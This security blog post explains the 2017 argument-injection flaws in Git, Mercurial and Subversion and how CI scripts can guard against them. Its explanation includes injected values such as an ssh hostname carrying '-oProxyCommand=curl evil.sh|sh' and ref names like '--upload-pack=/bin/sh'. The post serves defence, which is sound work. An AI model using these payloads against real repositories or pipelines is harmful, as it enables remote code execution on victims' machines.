Safeguard
Application Security

Argument injection in Git and Mercurial CLI wrappers

A branch name like --upload-pack=/bin/sh isn't a string to Git — it's a flag. CVE-2017-1000117 and CVE-2017-1000116 show why that distinction matters.

Safeguard Research Team
Research
6 min read

Every CI pipeline that runs git clone, git checkout $BRANCH, or hg clone $URL is making an assumption: that the string it hands the VCS binary will be treated as data. That assumption breaks the moment the string starts with a dash. Git and Mercurial both parse arguments the same way every POSIX CLI tool does — a token beginning with - or -- is a flag, not a positional value, regardless of where it came from or what the script author meant it to be. In August 2017, this exact gap produced two coordinated CVEs in the same disclosure window: CVE-2017-1000117 in Git and CVE-2017-1000116 in Mercurial, both stemming from unsanitized hostnames reaching an ssh invocation, and CVE-2017-9800 showed Subversion had the identical flaw. Git shipped fixes across the 2.7.6 through 2.14.1 release lines; Mercurial patched in 4.3. Nine years later, the underlying pattern — CWE-88, argument injection — is still showing up in home-grown CI scripts and Git-wrapper libraries that interpolate branch names, PR titles, or file paths straight into argv without a separator. This post covers how the exploit primitive works, the real incidents that proved it, and the invocation patterns that close it off for good.

How does a "hostname" become a command-line flag?

It becomes a flag because git clone and hg clone both accept ssh:// and ext::-style URLs and then shell out to a transport helper — typically OpenSSH's ssh binary — passing the parsed hostname as one of that helper's own arguments. ssh itself accepts flags like -oProxyCommand=, which lets a user run an arbitrary command as part of establishing the connection; that's a legitimate, documented SSH feature. The vulnerability is that if the "hostname" portion of the URL is attacker-controlled and starts with a dash, Git or Mercurial passes it to ssh unchanged, and ssh parses -oProxyCommand=curl evil.sh|sh as an option rather than a target. The clone operation never needs to reach a real server — the command executes during connection setup. This is the same class of bug SQL injection is: not a bug in the string itself, but in a boundary that never enforced "this is data, not syntax" before handing it to an interpreter.

What did CVE-2017-1000117 and CVE-2017-1000116 actually demonstrate?

They demonstrated that the flaw was exploitable through ordinary developer workflows, not just direct CLI misuse. CVE-2017-1000117 affected Git versions before 2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.4, and 2.14.1: a malicious repository could declare a submodule with a URL such as ssh://-oProxyCommand=some-command/foo, and running git clone --recursive against that repository — a routine action for anyone pulling down a project with submodules — silently executed the attacker's command on the victim's machine. CVE-2017-1000116 hit Mercurial before 4.3 the same way: an untrusted hostname reaching hg clone's SSH path could smuggle -oProxyCommand= in identically. Both were reported and fixed in the same coordinated disclosure window (tracked at bugzilla.redhat.com/show_bug.cgi?id=1480386 for Git and bugzilla.redhat.com/show_bug.cgi?id=1479915 for Mercurial), and CVE-2017-9800 confirmed Subversion's svn+ssh:// handling had the same weakness — three independent VCS ecosystems, one shared parsing assumption.

Why does this keep resurfacing in CI scripts years after the CVEs were patched?

It resurfaces because patching Git and Mercurial only closed the specific ssh:// transport path — it didn't change how the tools parse arguments in general, and most CI scripts still build git commands by string interpolation. A pipeline that runs a shell step like git checkout $PR_BRANCH or git log $USER_SUPPLIED_REF is vulnerable to the identical primitive: a branch or tag named --upload-pack=/bin/sh or a ref like --output=/etc/cron.d/x is parsed as a flag by git checkout or git log, not as a name. Anywhere a pipeline derives a "branch name" from an external, attacker-influenced source — a fork's PR metadata, a webhook payload, a filename from an uploaded archive — and forwards it into a git or hg invocation without a boundary marker, the same CWE-88 class applies, independent of which Git version is installed. This is why the pattern is described as a CLI design property, not a single fixed bug: any wrapper that skips the boundary is exposed again from scratch.

What is the -- separator and why does it neutralize this class of bug?

The -- separator is a POSIX convention, honored by both git and hg, that tells the argument parser "everything after this point is a positional value, never a flag" — it's the single most effective fix because it doesn't require validating the input at all, only where it's placed. git checkout -- "$BRANCH" cannot be tricked by a branch named --upload-pack=/bin/sh, because the parser stops looking for options once it hits --. The same applies to git log -- "$PATH", git diff -- "$FILE", and equivalent Mercurial invocations. This is a narrower, more mechanical fix than allowlisting characters, and it's the pattern Git's own documentation recommends for scripting. It does not, by itself, fix the transport-level SSH issue from 2017 — that requires a patched Git/Mercurial version — but it closes the much larger surface of every other subcommand that takes a positional ref, path, or revision from untrusted input.

What else should a defensive checklist include beyond the -- separator?

It should include version pinning, ref validation, and avoiding raw shell-outs where a library binding exists. Confirm CI runners are on Git 2.14.1+ (or current LTS) and Mercurial 4.3+, since those are the floor versions with the SSH-hostname fix; older self-hosted runners and container base images are the most common place this CVE class still lingers. Validate branch and tag names against a strict allowlist — Git's own ref-name rules already forbid many dangerous characters, but they do not forbid a leading dash, so that check has to be explicit. Never construct ssh://, ext::, or git+ssh:// URLs from untrusted hostname fragments, even with -- in place, since some transport helpers parse their own argument list independently of Git's. Where feasible, prefer library bindings such as libgit2 (via pygit2, git2-rs, or NodeGit) over shelling out to the git binary, since bindings pass arguments as typed parameters rather than a flat argv string, eliminating the parsing ambiguity entirely. For teams that can't avoid shelling out, treating every CI script that touches git/hg as a place to specifically review for missing -- separators is a fast, high-value audit — this is exactly the kind of unsafe-shell-out pattern worth scanning for across a CI/CD codebase the same way you'd scan for hardcoded secrets or unpinned dependencies.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.